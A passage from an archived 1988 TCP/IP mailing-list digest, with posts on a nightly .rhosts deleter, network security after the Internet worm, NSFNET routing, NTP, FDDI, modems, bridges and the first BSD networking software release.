lectures regularly at U.S. DECUS Symposia.  He is both informative and
entertaining.

> | Debbie Morley    Computer-Aided-Engineering    D.Morley@Cambridge.NCR.COM |
>...

Tony:: (VMS Systems, CCIS, Rutgers University)

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Bitnet:  MIONE@ZODIAC.BITNET
Arpa:    MIONE@ZODIAC.RUTGERS.EDU, mione@topaz.rutgers.edu
______________________________________________________________________
@begin(disclaimer)
Rutgers should not be held responsible for anything I say.  I
formulate my opinions on my own time.
@end(disclaimer)
______________________________________________________________________
BASIC RULE WHEN IN FLIGHT: Maintain thy airspeed, lest the Earth
                           arise and smite thee.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

-----------[000025][next][prev][last][first]----------------------------------------------------
Date:      4 Dec 88 06:22:11 GMT
From:      kurt@pprg.unm.edu (Kurt Zeilenga)
To:        comp.protocols.tcp-ip,news.sysadmin
Subject:   .rhosts deleter

In 1987, we experienced a bit of local abuse of the .rhost feature of
rlogin/rsh/rcp.  We found that by "taking root" on one public system
(the system happened to be in a student laboratory), it was possible
to take root on just about every other system on campus.

Because of this, we (UNM-PPRG) decided to remove .rhosts nightly to
increase security on our systems.  This was a comprimise between
always allowing or completely disabling the feature.  We decided to
allow temporary use of the feature (for doing rsh'ing) yet to "close"
it up every evening.  We also send notes to users who leave .rhosts
around that they should removed them immediately after they are done
with it.

In recent weeks, I've been distributing this code to anyone who wants
it.  So, if you want my code, feel free to "anonymous" FTP to
PPRG.UNM.EDU (192.31.154.1, 129.24.13.10) and get the file
~ftp/pub/rhost.shar (use sh < rhost.shar to unarchive).

	Kurt Zeilenga

-----------[000026][next][prev][last][first]----------------------------------------------------
Date:      4 Dec 88 07:05:56 GMT
From:      romkey@asylum.sf.ca.us (John Romkey)
To:        comp.dcom.lans,comp.protocols.tcp-ip
Subject:   Re: Network Security

In article <26342@bu-cs.BU.EDU> kwe@buit13.bu.edu (Kent England) writes:
>Some people
>think that networks ought to be shut down when applications come under
>attack, like what is happening with the ftpd bug on milnet right now
>and what happened this November with the virus attack.  I think that
>this is inappropriate.

Yes, actually, having a worm or virus that spreads through mail is
particularly insidious, because even if the system managers don't
overreact to the point of just unplugging their computers, they will
turn off their external mailers and mail is a key way of distributing
fixs against the attack.

>	Perhaps we agree after all?  Certainly my one line statement
>needed some amplification.

I'm not sure if we agree or not or if it matters, really (actually,
I'm pretty sure that we don't and it doesn't). You're right, the
phrase "secure network" is certainly brimming over with possible
meanings.

My clarified opinion is: I don't think that a network necessarily has
to be "secure" - its basic routing functions or its applications
immune to attack - to be thought of as operating properly.

Probably lots of different people have lots of different ideas on what
a "operating properly" means with regard to a network - I'm sure
you'll hear a wide range of transfer rates and reliablities (I don't
think that qualifies as a word, oh well...) and other variables.

But it's a semantic quibble; it was clear from your original message
that you consider a "security" to be a requirement for proper
operation. I just want to make it clear that not everyone does.
-- 
			- john romkey
romkey@asylum.uucp	romkey@xx.lcs.mit.edu	romkey@asylum.sf.ca.us
Find the cost of freedom, buried in the ground
Mother Earth will swallow you, lay your body down.

-----------[000027][next][prev][last][first]----------------------------------------------------
Date:      4 Dec 88 09:21:35 GMT
From:      pasteur!faerie.Berkeley.EDU!aoki@ames.arc.nasa.gov  (Paul M. Aoki)
To:        tcp-ip@sri-nic.arpa
Subject:   As Bush goes, so goes DDN?
Sorry to waste more of SRI-NIC's resources on this, but I found it fairly
amusing ... I guess our glorious President-elect's theme has already been 
adopted by the DDN ...

	postgres:aoki (178)> telnet sri-nic.arpa smtp
	Trying 26.0.0.73 ...
	Connected to sri-nic.arpa.
	Escape character is '^]'.
	220-SRI-NIC.ARPA SMTP Service 6.1 at Sun, 4 Dec 88 00:41:19 PST
	220 Don't Worry.
	  ...
	quit
	221 SRI-NIC.ARPA -- Be Happy!

*Our* mail daemon never takes this attitude.  Must have something to do 
with the fact that this is a TOPS-20 mail daemon instead of sendmail. :-)
----------------
Paul M. Aoki
CS Division, Dept. of EECS // UCB // Berkeley, CA 94720		(415) 642-1863
aoki@postgres.Berkeley.EDU					...!ucbvax!aoki

		``If "TCP" mail is runnin' late,
			Digestify or moderate.
		  But don't worry,
			Be happy!''
-----------[000028][next][prev][last][first]----------------------------------------------------
Date:      4 Dec 88 13:27:14 GMT
From:      hwb@MERIT.EDU (Hans-Werner Braun)
To:        comp.protocols.tcp-ip
Subject:   Re: NSFNet throughput applauded

Kent:

Thanks to you and to Rob Morgan for the kind comments. Let me say, though,
that while for the stability of the network the IBM implementation of the
ANSI IS-IS protocol plays a major role, the real issue is the overall routing
design. In particular what, as far as I can tell, made a, if not the,
difference was that we do not translate metrics between multiple administrative
domains any more. For example, from a backbone point of view, only up/down
events for network announcements from the regionals matter. The backbone
does not care about whether links within a regional switched so that the
regional, e.g., RIP metric jumped from five to six. Also the connections,
routing wise, are more engineered into primary and secondary considerations.
While the whole routing announcements are dynamic (IGP in the regionals,
ANSI IS-IS in the backbone and EGP between the two) the allowed routing
announcements and their mapping into primary and secondary considerations
are controlled by configuration files. This is currently still a people-time
intensive undertaking, but we are in the midst of automating a good part of 
the configuration setup. To be fair it should also be said that in the
previous incarnation of the NSFNET backbone (the 56Kbps Fuzzball based
system) the resources to do all this work were simply not available.

Some IDEAS (I think IDEA20 and IDEA21) as well as RFC1074 describe the
NSFNET routing to some extend.

Many people contributed to the current NSFNET working in the way it does. 
We are planning and working on further improvements and should have more 
information about this soon. We are trying to get some summary into the 
next Link-Letter.

Rob said something like "on to gigabit networks." That won't be cheap as
getting bits across the country at that speed is not a small expense.
Even moving from a T1 network to 45Mbps (T3), as the Merit NSFNET proposal
suggested to do during the duration of this project, will require additional
resources.

	-- Hans-Werner


	Date: 24 Nov 88 15:11:31 GMT
	From: kwe@bu-cs.bu.edu  (kwe@bu-it.bu.edu (Kent W. England))
	Organization: Boston Univ. Information Tech. Dept.
	Subject: Re: NSFNet throughput applauded
	Sender: tcp-ip-relay@sri-nic.arpa
	To: tcp-ip@sri-nic.arpa
	
	In article <4210@Portia.Stanford.EDU>
	> morgan@jessica.stanford.edu (RL "Bob" Morgan) writes:
	>
	>
	>Since no one else has commented on it, I thought I'd voice some
	>approval of the improvement in service that I've seen since the NSFNet
	>has come on-line in a big way in the last few months. 
	
		Not only is throughput up.  I see much greater stability in
	routes and *no more black holes*!!  The network tables from jvncnet
	are *huge* and still growing quite rapidly, but things stay stable.
	
		The link state (SPF) algorithm is proving itself.
	
		I still think the hardware is an oddity in terms of actual
	cost, power consumption, etc, but the software and technical expertise
	is first rate.  Hats off to Hans-Werner, the MERIT crew, and the IBM
	and MCI guys.
	
		You want the same stability for your own nets?  Then demand an
	open SPF algorithm from your router vendor.
	

-----------[000029][next][prev][last][first]----------------------------------------------------
Date:      4 Dec 88 14:38:56 GMT
From:      zwang@CS.UCL.AC.UK (Zheng Wang, Ext: 3701)
To:        comp.protocols.tcp-ip
Subject:   Re: Tech Report on Internet Worm Available

Gene;

Could you please send me a copy of the report on Internet Worm?
I tried several times to ftp but failed.


Thank you very much.

Z Wang
Dept of Computer Science
University College London
London WC1 6BT
UK
.

-----------[000030][next][prev][last][first]----------------------------------------------------
Date:      Sun, 04 Dec 88 14:38:56 +0000
From:      Zheng Wang (Ext: 3701) <zwang@Cs.Ucl.AC.UK>
To:        Gene Spafford <spaf@purdue.edu>
Cc:        tcp-ip@sri-nic.arpa
Subject:   Re: Tech Report on Internet Worm Available
Gene;

Could you please send me a copy of the report on Internet Worm?
I tried several times to ftp but failed.


Thank you very much.

Z Wang
Dept of Computer Science
University College London
London WC1 6BT
UK
.
-----------[000031][next][prev][last][first]----------------------------------------------------
Date:      4 Dec 88 22:14:29 GMT
From:      childers@avsd.UUCP (Richard Childers)
To:        comp.dcom.lans,comp.protocols.tcp-ip
Subject:   Re: Network Security

In article <26314@bu-cs.BU.EDU> kwe@bu-cs.BU.EDU (kwe@bu-it.bu.edu (Kent W. England)) writes:

>	In order to have secure networks, we need network routing
>information exchange and network management protocols that are
>authenticated, robust, and secure against spoofing and malicious
>disruption.

And dedicated storage for detailed traffic logs ...

>	We need some *serious* authentication capability in SNMP.

I hope it's not mandatory ... it adds overhead that's not always needed.

>	Kent England, Boston University

-- richard

-- 
 *                        Black holes are out of sight                        *
 *                                                                            *
 *      ..{amdahl|decwrl|octopus|pyramid|ucbvax}!avsd.UUCP!childers@tycho     *
 *          AMPEX Corporation - Audio-Visual Systems Division, R & D          *

-----------[000032][next][prev][last][first]----------------------------------------------------
Date:      Mon, 05 Dec 88 14:46:28 -0500
From:      Craig Partridge <craig@NNSC.NSF.NET>
To:        tcp-ip@sri-nic.ARPA
Subject:   call for Tech Reports

Hi folks:

    It is that time again -- the January issue of Computer Communication
Review is now being prepared.   One feature of CCR is a bibiliography of
recent publications in networking (for this issue, everything published
between September 15th and December 15th).

    We like to include technical reports (corporate or university) in
this bibliography.  If you have published a tech report since September
15th and would like it included in the CCR bibliography, please send
me (via e-mail) a citation *and the abstract*.  (To be included, the
citation much reach my electronic mailbox by December 15th).

Thanks,

Craig

PS: People interested in submitting a paper to CCR are encouraged to
contact me.
-----------[000033][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 08:28:00 GMT
From:      martillo@cpoint.UUCP (martillo)
To:        comp.protocols.tcp-ip
Subject:   Re: TCP/IP over FDDI

The mac-header size seems really perverted but isn't this issue
really larger than just choosing a disgusting header size.

Why do mac level addresses have to be so large?  Why does each
card have to have a unique mac address (not just for FDDI but
apparently for the who 802.x technologies).  IP or IP equivalent
addresses need to be unique.  But making physical layer addresses
unique for the known universe is a waste of time.  Better to have
some authority on a given lan which assigns the locally significant
mac layer addresses.  Then 2 bytes would be sufficient.  How many
lans have more than 64k hosts on them?

The real problem is that the IEEE with total misunderstanding
views 802.2 which is a communications subnet protocol
as an end-to-end protocol.  To make the problem worse, 802.2 type
2 is based on LAPB which is a communications subnet access protocol.

FDDI has added complexity because the FDDI committee refuses
to accept that host with a dual mac FDDI controller is really
attached to two separate physical networks and not one physical
network (at least as I understand the current proposals).

Joachim Carlo Santos Martillo
 

-----------[000034][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 13:04:16 GMT
From:      hwb@MERIT.EDU (Hans-Werner Braun)
To:        comp.protocols.tcp-ip
Subject:   Re:  Network Security

Kent:

Someone once pointed out to me that the standards communities have a different
model of routing which is much more secure. The equivalent would be to run
routing in parallel to IP, rather than on top of it.

	-- Hans-Werner

-----------[000035][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 16:55:37 GMT
From:      Mills@UDEL.EDU
To:        comp.protocols.tcp-ip
Subject:   Re:  NTP implementations

Tom,

The NTP distribution on trantor.umd.edu works fine with both versions 3 and
4 on Sun-2 and Sun-3 systems. However, you have to modify the tickadj variable
in the kernel. For further details, contact ntp@trantor.umd.edu.

While NTP will certainly keep your Ethernet machines within a few milliseconds
of each other, it was not designed to operate indefinitely without outside
reference and may result in random walks far from nominal standard time.
If you never intend to connect your net to the existing NTP subnet or do not
intend to purchase a radio clock of one kind or another, then maybe the
timed system distributed with 4.3bsd would be more appropriate. In principle
it would be possible to use the NIST (ne NBS) telephone-time facility to set
the clock on one of your machines once per day, for example using the Sun
code distributed by NIST, but this would require a little hacking and sawing.

Dave

-----------[000036][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 19:35:39 GMT
From:      tep@helix.UUCP (Tom Perrine x397)
To:        comp.protocols.tcp-ip
Subject:   IDEA docs

I keep seeing references to IDEAnn documents. Are these available from
the NIC in the same manner as RFCs? Or are they NFS documents?

________________________________________________________________________________
		|Tom Perrine			||
 ________	|Logicon			||Internet:
    /		|Tactical and Training Systems	||	hamachi!tot!tep@NOSC.MIL
   /  _  _____	|San Diego CA			||UUland:
  /  (_) / / /	|(619) 455-1330			||   uunet!nosc!hamachi!tots!tep
--------------------------------------------------------------------------------

-----------[000037][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 19:45:38 GMT
From:      bandy@well.UUCP (Andrew Scott Beals)
To:        comp.protocols.tcp-ip,news.sysadmin
Subject:   Re: .rhosts deleter

Another solution to the .rhosts problem, which I implemented
when I was at Lawrence Livermore back in '86 was to require a
recent login on the account that you wish to use rlogin/rsh/rcp
to before the .rhosts file can be valid.  This helps to solve the
problem of people leaving .rhosts files lying around and then
forgetting them when a "friendly" site turns hostile.
-- 
for those of you who don't trust the headers:
bandy@lll-crg.llnl.gov or {pacbell,lll-winken,hoptoad,hplabs,apple}!well!bandy

-----------[000038][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 19:46:28 GMT
From:      craig@NNSC.NSF.NET (Craig Partridge)
To:        comp.protocols.tcp-ip
Subject:   call for Tech Reports


Hi folks:

    It is that time again -- the January issue of Computer Communication
Review is now being prepared.   One feature of CCR is a bibiliography of
recent publications in networking (for this issue, everything published
between September 15th and December 15th).

    We like to include technical reports (corporate or university) in
this bibliography.  If you have published a tech report since September
15th and would like it included in the CCR bibliography, please send
me (via e-mail) a citation *and the abstract*.  (To be included, the
citation much reach my electronic mailbox by December 15th).

Thanks,

Craig

PS: People interested in submitting a paper to CCR are encouraged to
contact me.

-----------[000039][next][prev][last][first]----------------------------------------------------
Date:      5 Dec 88 20:02:53 GMT
From:      heath@ncrcae.Columbia.NCR.COM (Robert Heath)
To:        comp.protocols.tcp-ip
Subject:   Re: v.25 bis

In article <sXZ9Wiy00UoJEHqyws@andrew.cmu.edu> ddp+@ANDREW.CMU.EDU (Drew Daniel Perkins) writes:
>I was reading looking at the CCITT Red Book "Recommendations of the V Series"
>(Volume VIII - Fascicle VIII.1) today and noticed an interesting protocol
>"Recommendation V.25 bis, Automatic Calling and/or Answering Equipment on the
>GSTN Using the 100-Series Interchange Circuits".  
>Does anyone know of
>anything that supports this protocol?  

A number of modem manufacturers
such as Anderson-Jacobsen, Concord Data, NEC, etc. support the protocol.
The NCR TOWER series supports the v.25bis dialing protocols when you 
order SDLC/HDLC support.

>Is there a good reason why it isn't
>common?  I'm thinking that it might be very usefull for dialing sync modems,
>dialing ISDN Terminal Adaptors, connecting sync port selectors, etc.
>
One drawback  is that the dialing interface occurs at the data link 
control (DLC) level, which is usually not open to user programming.  
They introduce some new handshaking at protocol levels which have
been frozen for years.  In synchronous networks that most open layers 
are much higher up in the protocol stack. 

For a full discussion of v.25bis, see my article "Synchronous dialing
modems are advancing at full tilt", in the Nov. '87 issue of 
Data Communications magazine.

	Robert Heath
	heath@ncrcae.Columbia.NCR.COM

-----------[000040][next][prev][last][first]----------------------------------------------------
Date:      Mon, 5 Dec 88 20:19:03 GMT
From:      henry@utzoo.uucp (Henry Spencer)
To:        comp.protocols.tcp-ip
Subject:   Re: Running out of Internet addresses?

In article <8811282038.AA15464@vax.ftp.com> stev@VAX.FTP.COM writes:
>if we are talking about this (and it seems we are), we also wanna think 
>about issuing newtalk-IP addresses based on location instead of political
>boundries like they are now. i am not sure that this is the correct
>way to go, but routing becomes alot easier.

Maybe I'm being naive, but I don't grasp this -- can you explain?  The
current scheme, which breaks them by network, is in effect pretty much
a geographic breakdown.  In the cases where it's not, e.g. organizations
with their own long-haul networks, it is not obvious that a geographic
breakdown is in fact desired:  the right way to get from one AT&T site
to another, for example, is almost always through AT&T's internal nets,
and never mind the geography.  There is no general correlation between
geographic proximity and network-routing proximity.
-- 
SunOSish, adj:  requiring      |     Henry Spencer at U of Toronto Zoology
32-bit bug numbers.            | uunet!attcan!utzoo!henry henry@zoo.toronto.edu

-----------[000041][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 04:16:11 GMT
From:      donegan@stanton.TCC.COM (Steven P. Donegan)
To:        comp.protocols.tcp-ip
Subject:   Re: Retix Bridges experiences?

In article <PETER.88Dec2175654@myst.uwo.ca>, peter@myst.uwo.ca (Peter Marshall) writes:
> We are being offered Retix bridges that are supposed to be able to
> forward 6000 packets per second and monitor 12000 per second at the
> low low price of about us$1850 each.  This is significantly less than
> bridges like DEC's LANbridge.  Does anyone have any experience with
> these units?  Are they reliable?  Do they get the traffic through?  Do
> they support any reasonable monitoring and management capabilities?
> What's your experience with these boxes?  Any information would be
> much appreciated.


Peter (and others) the answers to your questions are:

1)They are less expensive than DEC LANBRIDGE units. Their capability is
  100% when doing a black-box/learning bridge function.

2)They are very reliable. Our test units have seen about 1000+ powered on
  test hours on our live network without lock-up or failure of any type.

3)The traffic gets through properly. This includes (on our live net):
  Bridge Communications XNS
  Bridge Communications TCP/IP
  Novell
  Ungermann Bass XNS
  Fairchild fastlink
  Apollo TCP/IP
  Sun TCP/IP
  Daisy TCP/IP
  DECNET
  FTP TCP/IP
  Wollongong TCP/IP
  XYPLEX TCP/IP
  and others too numerous to mention...

4) Monitoring and management - the units that I have experience with are
   black box units, ie they perform a function flawlessly and don't have
   any bells and whistles. I will soon be evaluating the Retix units that
   do support filtering and network management hooks. I will be happy to
   relate my experiences if the net is interested.

If any of you have seen the movie INC - I LOVE this job (as the actor reads
his ever ascending blood pressure reading) :-))

-- 
Steven P. Donegan                 These opinions are given on MY time, not
Sr. Telecommunications Analyst    Western Digital's
Western Digital Corp.
stanton!donegan || donegan@stanton.TCC.COM || donegan%stanton@tcc.com

-----------[000042][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 04:53:55 GMT
From:      gnb@melba.bby.oz (Gregory N. Bond)
To:        comp.protocols.tcp-ip
Subject:   Re: v.25 bis

In Australia, the Dataplex dpx-224 modem supports the v25bis set.
(At least it's described in the manual.  Who knows if it works?)

Greg.
-- 
Gregory Bond, Burdett Buckeridge & Young Ltd, Melbourne, Australia
Internet: gnb@melba.bby.oz.au    non-MX: gnb%melba.bby.oz@uunet.uu.net
Uucp: {uunet,mnetor,pyramid,ubc-vision,ukc,mcvax,...}!munnari!melba.bby.oz!gnb

-----------[000043][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 05:19:04 GMT
From:      daveb@gonzo.UUCP (Dave Brower)
To:        comp.protocols.tcp-ip
Subject:   Re:  ARPANET/MILNET mailbridge conspiracy?

In <8812011607.aa10119@ARDEC-AC4.ARDEC.ARPA> drears@ARDEC.ARPA ("Dennis G. Rears ", FSAC) writes:
>
>According to the New York Times the offical reason is technical
>difficulties.  Unofficially someone or something broke into the Mitre
>computers in Mass.

Even less officially, don't be surprised if everything starts magically
working after the shuttle lands from it's classified mission.  Could it
be that someone decided not to take *any* chances?

-dB

-- 
If life was like the movies, the music would match the picture.

{sun,mtxinu,hoptoad}!rtech!gonzo!daveb		daveb@gonzo.uucp

-----------[000044][next][prev][last][first]----------------------------------------------------
Date:      Tue, 6 Dec 88 17:54:54 PST
From:      bostic%okeeffe.Berkeley.EDU@ucbvax.Berkeley.EDU (Keith Bostic)
To:        post-ucb-fixes@ucbvax.Berkeley.EDU, tcp-ip@sri-nic.arpa
Subject:   V1.73 (BSD Networking Software, Release #1)
We are happy to announce the availability of the first release of the BSD
networking software.  It consists of the standard user level applications,
(along with their manual pages and some related documentation) and some
kernel and C library support.  It should be noted that this software has
only been tested for compilation and operation on 4.3BSD and 4.3BSD-tahoe.
A complete list of files is attached to this message.

The TCP and IP code is approximately the same as that recently made
available via the ARPANET and Usenet.  Several new algorithms are used in
TCP, in particular Van Jacobson's slow start and dynamic window size
selection algorithms and Phil Karn's modification to the roundtrip timing
algorithm.  These changes increase throughput and reduce congestion and
retransmission.  Several fixes were made in the handling of IP options
and other gateway support.

This software suite is copyright The Regents of the University of California
and may be freely redistributed.  No previous license, either AT&T or
Berkeley is required.  The release costs $400.00 US.  To request an order
form, please contact our distribution office by phone at 415-642-7780, or
by email at bsd-dist@ucbarpa.berkeley.edu or uunet!ucbarpa!bsd-dist, or
by U.S. Mail at:

	CSRG, Computer Science Division
	University of California
	Berkeley, CA  94720

Mike Karels
Kirk McKusick

========================

XNSrouted	hostname	ping		rshd		telnet
arp		htable		rcp		ruptime		telnetd
comsat		ifconfig	rdist		rwho		tftp
egp		implog		rexecd		rwhod		tftpd
finger		include		rlogin		sendmail	timed
fingerd		inetd		rlogind		slattach	trpt
ftp		lib		rmt		sys		trsp
ftpd		lpr		route		syslogd		uucp
gettable	named		routed		talk		whois
hostid		netstat		rsh		talkd

XNSrouted:
Makefile	defs.h		main.c		table.h		trace.c
XNSrouted.8	if.c		output.c	tables.c	trace.h
af.c		input.c		protocol.h	timer.c
af.h		interface.h	startup.c	tools

XNSrouted/tools:
query.c

arp:
Makefile	arp.8		arp.c

comsat:
Makefile	comsat.8	comsat.c

egp:
Makefile	egp.conf	if.c		init.c		rt_table.c
defs.h		egp.h		if.h		main.c		rt_table.h
egp-notes	egp_param.h	include.h	rt_egp.c	trace_egp.c
egp.c		ext.c		inet.c		rt_init.c	trace_egp.h

finger:
Makefile	finger.1	finger.c

fingerd:
Makefile	fingerd.8	fingerd.c

ftp:
Makefile	cmdtab.c	ftp.1		ftp_var.h	main.c
cmds.c		domacro.c	ftp.c		glob.c		ruserpass.c

ftpd:
Makefile	ftpd.8		glob.c		newvers.sh	vers.c
ftpcmd.y	ftpd.c		logwtmp.c	popen.c		version

gettable:
Makefile	gettable.8	gettable.c

hostid:
Makefile	hostid.1	hostid.c

hostname:
Makefile	hostname.1	hostname.c

htable:
Makefile	htable.c	parse.y
htable.8	htable.h	scan.l

ifconfig:
Makefile	ifconfig.8	ifconfig.c

implog:
Makefile	implog.8	implog.c	implogd.8	implogd.c

include:
arpa		netdb.h		protocols	resolv.h	sysexits.h

include/arpa:
ftp.h		inet.h		nameser.h	telnet.h	tftp.h

include/protocols:
routed.h	rwhod.h		talkd.h		timed.h

inetd:
Makefile	inetd.8		inetd.c

lib:
libc	libutil

lib/libc:
gen	inet	net	ns	tahoe

lib/libc/gen:
getusershell.c

lib/libc/inet:
Makefile	inet_lnaof.c	inet_netof.c	inet_ntoa.c
inet_addr.c	inet_makeaddr.c	inet_network.c	profiled

lib/libc/inet/profiled:

lib/libc/net:
Make.resolv	getprotoent.c	hosttable	res_comp.c	rexec.c
Makefile	getprotoname.c	named		res_debug.c	ruserpass.c
getnetbyaddr.c	getservbyname.c	net.tahoe	res_init.c
getnetbyname.c	getservbyport.c	net.vax		res_mkquery.c
getnetent.c	getservent.c	profiled	res_query.c
getproto.c	herror.c	rcmd.c		res_send.c

lib/libc/net/hosttable:
Makefile	gethostent.c	gethostnamadr.c	profiled

lib/libc/net/hosttable/profiled:

lib/libc/net/named:
Makefile	gethostnamadr.c	profiled	sethostent.c

lib/libc/net/named/profiled:

lib/libc/net/net.tahoe:
Makefile	htons.s		ntohs.s
htonl.s		ntohl.s		profiled

lib/libc/net/net.tahoe/profiled:

lib/libc/net/net.vax:
Makefile	htons.s		ntohs.s
htonl.s		ntohl.s		profiled

lib/libc/net/net.vax/profiled:

lib/libc/net/profiled:

lib/libc/ns:
Makefile	ns_addr.c	ns_ntoa.c	profiled

lib/libc/ns/profiled:

lib/libc/tahoe:
DEFS.h

lib/libutil:
Makefile	login.c		logout.c	logwtmp.c

lpr:
Makefile	lp.h		lpdchar.c	lptest.1	rmjob.c
cmds.c		lp.local.h	lpq.1		lptest.c	startdaemon.c
cmdtab.c	lpc.8		lpq.c		pac.8		vfilters
common.c	lpc.c		lpr.1		pac.c
displayq.c	lpc.h		lpr.c		printcap.c
etc.printcap	lpd.8		lprm.1		printjob.c
filters		lpd.c		lprm.c		recvjob.c

lpr/filters:
Makefile	lpf.c

lpr/vfilters:
Makefile	railmag.c	sidebyside.c	vpf.c		vpltdmp.c
chrtab.c	rvcat.c		vcat.c		vplotf		vpsf.c
necf.c		rvsort.c	vdmp.c		vplotf.c	vsort.c

named:
CHANGES		db_dump.c	master		ns_forw.c	ns_stats.c
Makefile	db_load.c	namebuf		ns_init.c	storage.c
README		db_lookup.c	named.8		ns_main.c	tools
Version.c	db_reload.c	named.reload	ns_maint.c	version
databuf		db_save.c	named.restart	ns_req.c
databufs	db_update.c	newvers.sh	ns_resp.c
db.h		doc		ns.h		ns_sort.c

named/doc:
DynamicUpdate	rfc1033.lpr	rfc1035.lpr	rfc974.lpr
rfc1032.lpr	rfc1034.lpr	rfc920.lpr

named/master:
:pwedit			named.boot		named.rev
Index			named.boot.master	root.cache
README			named.hosts
atod.y			named.local

named/tools:
Makefile	nslookup	nsquery.c	nstest.c

named/tools/nslookup:
Makefile	getinfo.c	nslookup.1	send.c
commands.l	list.c		nslookup.help	skip.c
debug.c		main.c		res.h		subr.c

netstat:
Makefile	if.c		main.c.oldimp	ns.c
host.c		inet.c		mbuf.c		route.c
host.c.oldimp	main.c		netstat.1	unix.c

ping:
Makefile	ping.8		ping.c

rcp:
Makefile	rcp.1		rcp.c

rdist:
Makefile	defs.h		expand.c	lookup.c	rdist.1
cron.entry	docmd.c		gram.y		main.c		server.c

rexecd:
Makefile	rexecd.8	rexecd.c

rlogin:
Makefile	rlogin.1	rlogin.c

rlogind:
Makefile	rlogind.8	rlogind.c

rmt:
Makefile	rmt.8		rmt.c

route:
Makefile	route.8		route.c

routed:
Makefile	if.c		main.c		table.h		trace.c
af.c		inet.c		output.c	tables.c	trace.h
af.h		input.c		routed.8	timer.c
defs.h		interface.h	startup.c	tools

routed/tools:
Makefile	query.c		trace.c

rsh:
Makefile	rsh.1		rsh.c

rshd:
Makefile	rshd.8		rshd.c

ruptime:
Makefile	ruptime.1	ruptime.c

rwho:
Makefile	rwho.1		rwho.c

rwhod:
Makefile	rwhod.8		rwhod.c

sendmail:
include	src

sendmail/include:
asm.sed.tahoe	asm.sed.vax	useful.h	userdbm.h

sendmail/src:
Makefile	conf.c		err.c		readcf.c	stats.c
READ_ME		conf.h		headers.c	recipient.c	sysexits.c
Version.c	convtime.c	macro.c		savemail.c	trace.c
alias.c		daemon.c	mailstats.h	sendmail.8	usersmtp.c
arpadate.c	deliver.c	main.c		sendmail.h	util.c
clock.c		domain.c	parseaddr.c	srvrsmtp.c	version.c
collect.c	envelope.c	queue.c		stab.c

slattach:
Makefile	slattach.8	slattach.c

sys:
Makefile.sun	h		netimp		sys
README		implog		netinet		vaxif
TCP_INSTALL	net		netns

sys/h:
domain.h	protosw.h	socketvar.h	unpcb.h
mbuf.h		socket.h	un.h

sys/implog:
Makefile	implog.8	implog.c	implogd.c

sys/net:
af.c		if.h		if_sl.c		raw_cb.h	route.h
af.h		if_arp.h	netisr.h	raw_usrreq.c
if.c		if_loop.c	raw_cb.c	route.c

sys/netimp:
hosts		hosttable	if_imp.h	if_imphost.h
hosts.nxt	if_imp.c	if_imphost.c	raw_imp.c

sys/netinet:
icmp_var.h	in_pcb.h	ip_input.c	tcp_fsm.h	tcp_usrreq.c
if_ether.c	in_proto.c	ip_output.c	tcp_input.c	tcp_var.h
if_ether.h	in_systm.h	ip_var.h	tcp_output.c	tcpip.h
in.c		in_var.h	raw_ip.c	tcp_seq.h	udp.h
in.h		ip.h		tcp.h		tcp_subr.c	udp_usrreq.c
in_cksum.c	ip_icmp.c	tcp_debug.c	tcp_timer.c	udp_var.h
in_pcb.c	ip_icmp.h	tcp_debug.h	tcp_timer.h

sys/netns:
idp.h		ns_error.c	ns_output.c	spidp.h		spp_var.h
idp_usrreq.c	ns_error.h	ns_pcb.c	spp_debug.c
idp_var.h	ns_if.h		ns_pcb.h	spp_debug.h
ns.c		ns_input.c	ns_proto.c	spp_timer.h
ns.h		ns_ip.c		sp.h		spp_usrreq.c

sys/sys:
sys_socket.c	uipc_mbuf.c	uipc_socket.c	uipc_syscalls.c
uipc_domain.c	uipc_proto.c	uipc_socket2.c	uipc_usrreq.c

sys/vaxif:
if_acc.c	if_css.c	if_hdh.c

syslogd:
Makefile	syslogd.8	syslogd.c

talk:
Makefile	display.c	init_disp.c	look_up.c	talk.c
ctl.c		get_addrs.c	invite.c	msgs.c		talk.h
ctl_transact.c	get_names.c	io.c		talk.1		talk_ctl.h

talkd:
Makefile	print.c		table.c		talkd.c
announce.c	process.c	talkd.8

telnet:
Makefile	Source		telnet.1

telnet/Source:
commands.c	general.h	network.c	sys_dos.c	tn3270.c
defines.h	main.c		ring.c		telnet.1	types.h
externs.h	makedep		ring.h		telnet.c	utilities.c
fdset.h		n.telnet.c	sys_bsd.c	terminal.c

telnetd:
Makefile	telnetd.8	telnetd.c

tftp:
Makefile	main.c		tftp.1		tftp.c		tftpsubs.c

tftpd:
Makefile	tftpd.8		tftpd.c

timed:
Makefile	cksum.tahoe.c	globals.h	slave.c		timedc.h
acksend.c	cksum.vax.c	master.c	timed.8
byteorder.c	cmds.c		measure.c	timed.c
candidate.c	cmdtab.c	networkdelta.c	timedc.8
cksum.m68000.c	correct.c	readmsg.c	timedc.c

trpt:
Makefile	trpt.8		trpt.c

trsp:
Makefile	trsp.8		trsp.c

uucp:
uucpd.c

whois:
Makefile	whois.1		whois.c

-----------[000045][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 13:43:36 GMT
From:      kwilliam@secola.Columbia.NCR.COM (Karen Williams)
To:        comp.protocols.tcp-ip
Subject:   echos utility

I seem to recall the discussion of an 'echos' utility over TCP/IP
that was publicly available.  Does anyone have an address that I
can get it from, through Anonymous FTP?

Thanks!

	- K. Williams
	kwilliam@secola.Columbia.NCR.COM

-----------[000046][next][prev][last][first]----------------------------------------------------
Date:      6 Dec 88 15:15:54 GMT
From:      leong+@ANDREW.CMU.EDU (John Leong)
To:        comp.protocols.tcp-ip
Subject:   EDI spec



Any idea where I can get my hand on a copy of the EDI (Electronic Data
Interchange) specification.  This seems to be one of those de-facto standard (?)
protocols that have gained wide spread usage suddenly.

Since this is really not related to TCP-IP protocol, please address reply to me
directly at

leong+@andrew.cmu.edu

Thanks

John Leong

